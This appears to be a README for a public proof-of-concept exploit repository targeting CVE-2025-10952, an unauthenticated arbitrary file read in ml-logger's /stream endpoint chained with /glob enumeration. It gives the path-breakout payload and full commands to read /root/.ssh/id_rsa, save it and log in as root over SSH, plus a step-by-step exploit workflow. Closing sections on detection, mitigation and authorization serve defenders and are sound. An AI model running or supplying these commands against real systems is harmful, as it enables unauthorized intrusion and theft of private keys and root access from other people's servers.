## https://sploitus.com/exploit?id=A072AA73-479D-59D5-BC30-CE2AAA650545
# CVE-2025-10952 — ml-logger `stream_handler` Arbitrary File Read
This repository provides a standalone Python script — `CVE-2025-10952.py` — that exploits an unauthenticated arbitrary file read vulnerability in `ml-logger`'s `stream_handler`, chained with the `/glob` endpoint for filesystem enumeration.
When run against a vulnerable `ml-logger` instance, it will:
- Enumerate files on the target host via the `/glob` endpoint (unauthenticated, no path restriction outside the intended scope).
- Read an arbitrary file via the `/stream` endpoint by supplying a crafted `key` parameter that breaks out of the handler's base-path join logic.
- Optionally save the retrieved file to disk for follow-on use (e.g. an exfiltrated SSH private key).
Because `stream_handler` passes the client-supplied `key` field directly into a file-path resolution and streaming call with no containment check, an unauthenticated network attacker can read any file accessible to the service's OS user.
## Vulnerability Details (CVE-2025-10952)
- **Component**: `ml_logger/server.py` — `stream_handler` (File Handler)
- **Weakness**: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-284 (Improper Access Control)
- **CVSS 3.1**: 5.3 (Medium) — `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
- **Affected Versions**: geyang/ml-logger, all versions up to commit `acf255bade5be6ad88d90735c8367b28cbe3a743` (rolling-release project; no fixed version published at time of disclosure)
- **Access Required**: None (unauthenticated)
`stream_handler` accepts a JSON body containing a `key` field and passes it directly into a file-read call with no path sanitization. The sibling `glob_handler` endpoint implements partial path restrictions (blocking absolute paths and traversal), but `stream_handler` does not share that validation — a doubled leading slash in `key` (e.g. `//root/.ssh/id_rsa`) is sufficient to break out of the intended base directory.
## Prerequisites
- Python 3.8+
- Network access to a vulnerable `ml-logger` API instance
- No credentials of any kind
## Setup & Installation
```bash
git clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
```
## Usage
**Enumerate files:**
```bash
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
```
**Read an arbitrary file:**
```bash
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
```
**Read and save to disk:**
```bash
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
```
`--port` defaults to `8081`, the default port for `ml-logger`'s file-broker API in a standard deployment. The dashboard frontend is typically served on a separate port and is not part of the vulnerable path.
## Exploit Workflow
1. Confirm the target's `/glob` endpoint responds `405 Method Not Allowed` with `Allow: POST` — this identifies the API port versus the static dashboard frontend.
2. Enumerate reachable paths with `--glob` to map interesting files (SSH keys, configs, credential stores).
3. Retrieve a target file with `--read`, using a doubled leading slash for absolute paths.
4. If the file is a private key, use it directly for authentication (see Usage above).
## Detection & Mitigation
- **Network**: Alert on `key`/`path`-style JSON fields containing `..`, doubled leading slashes (`//`), or absolute path prefixes (`/etc`, `/root`, `/proc`) directed at `ml-logger` service ports.
- **Host**: File-integrity or access monitoring on `~/.ssh/`, `/etc/shadow`, `/etc/passwd` should flag reads originating from the `ml-logger` process identity.
- **Exposure**: Never expose `ml-logger` to an untrusted network without an authenticating reverse proxy in front of it.
- **Remediation**: Enforce path containment (`os.path.realpath()` resolution checked against an allow-listed base directory) in `stream_handler`; run the service under a dedicated, unprivileged OS account.
## References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-10952
- GitHub Advisory: https://github.com/advisories/GHSA-9x36-c74v-fgr6
- Original report: https://github.com/geyang/ml-logger/issues/74
- Project: https://github.com/geyang/ml-logger
## ⚠️ Disclaimer
This repository contains a proof-of-concept exploit for CVE-2025-10952, an unauthenticated information disclosure vulnerability in `ml-logger`. Use this code only in environments you own or have explicit authorization to test. The author is not responsible for any misuse or damage caused by this software.
## License
See [LICENSE](LICENSE).